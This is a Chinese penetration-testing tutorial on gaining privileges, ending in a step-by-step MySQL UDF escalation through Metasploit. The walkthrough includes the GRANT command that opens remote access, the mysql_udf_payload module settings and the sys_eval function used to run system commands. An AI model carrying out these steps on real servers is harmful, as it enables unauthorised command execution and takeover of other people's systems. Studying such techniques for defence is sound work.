权限提升基础信息

1、具体有哪些权限需要我们了解掌握的?

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

2、以上常见权限获取方法简要归类说明?

后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入

网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell

数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入

接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入

系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等

域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等

3、以上常见权限获取后能操作的具体事情?

后台权限:

常规WEB界面文章分类等操作,后台功能可操作类

网站权限:

查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。

数据库权限:

操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。

接口权限:

后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。

系统权限:如同在你自己操作自己的电脑一样

域控权限:如同在你自己操作自己的虚拟机一样

数据库提权

提权条件----数据库帐号密码获取,secure-file-priv没进行目录限制

一、数据库的最高权限用户的密码获取方式:

0、网站存在高权限SQL注入点

1、数据库的存储文件或备份文件

2、网站应用源码中的数据库配置文件

3、采用工具或脚本爆破(需解决外联问题)

二、查看secure-file-priv是否有目录限制,执行:show global variables like "secure%"

1、当secure_file_priv 的值为 NULL ,表示限制mysqld 不允许导入|导出,无法进行提权。

2、当secure_file_priv 的值为 c:/ ,表示限制 mysqld 的导入|导出只能发生在c盘目录下,无法进行提权。

3、当 secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,可以提权。

案例:mysql数据库提权——使用MSF-UDF方式提权

前提:已获取数据库高权限,使用哥斯拉等工具连接。

udf提权原理

udf的设计初衷是为了方便用户自定义一些函数,方便查询一些复杂的数据,同时也增加

了使用udf提权的可能。

攻击者通过编写调用cmd或者shell的udf.dll文件,并且导入到一个指定的文件夹目录下,

创建一个指向udf.dll的自定义函数,从而在数据库中的查询就等价于在cmd或者shell中执行命令。不同的操作系统,不同的版本,提权时导出udf.dll存放的目录不一样。

Windows 2000操作系统需要导出udf.dll到c:\winnt\目录下。Windows2003操作系统导出udf.dll到c:\windows\目录下。在MySQL 5.1版本及以后的环境下,udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin\目录下。

演示开始:

1.获取数据库的账户和密码,开始对数据库进行链接

2.执行:show global variables like "secure%"  查看是否支持提权。

secure_file_priv没有值,支持提权。

3.查看mysql的版本:select version(); 发现是5.7版本,所以需要将dll文件放在lib\plugin目录下才可以生效。如果是5.1以下,需要放到C:\Windows\system32下。

4.查看mysql的安装路径(绝对路径) :select @@basedir   

因为mysql=>5.2 ,dll文件需要导入到——>mysql安装目录/lib/plugin/

5.没有目录,如果权限足够可用采用手工创建\lib\plugin\目录,权限不够则利用NTFS流创建。 


6.因为我们要使用MSF,所以需要开启外链。

执行:grant all privileges on . to '账户'@'%' identified by '密码' with grant option;

mysql数据库user表中出现如下记录说明成功开启外链。

7.启动msf,使用和配置模板

启动udf模块。

执行:msfconsole

use exploit/multi/mysql/mysql_udf_payload

配置模板

执行:set username 数据库用户名

set password 数据库密码

set rhosts 目标主机地址

导入dll文件到lib\plugin\目录

执行:run

成功生成:


8.使用MSF导出utf.dll文件后,在执行如下命令调用执行

执行:createfunction sys_eval returns string soname "udf.dll";   //创建函数绑定dll

执行:select * from mysql.func;      //查看是否新增了sys_eval函数


9.此时就可以使用sys_eval函数执行命令了

执行:select sys_eval('whoami');

番外:还可以使用启动项模块:exploit/windows/mysql/mysql_start_up ,需要等待目标服务器重启利用。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。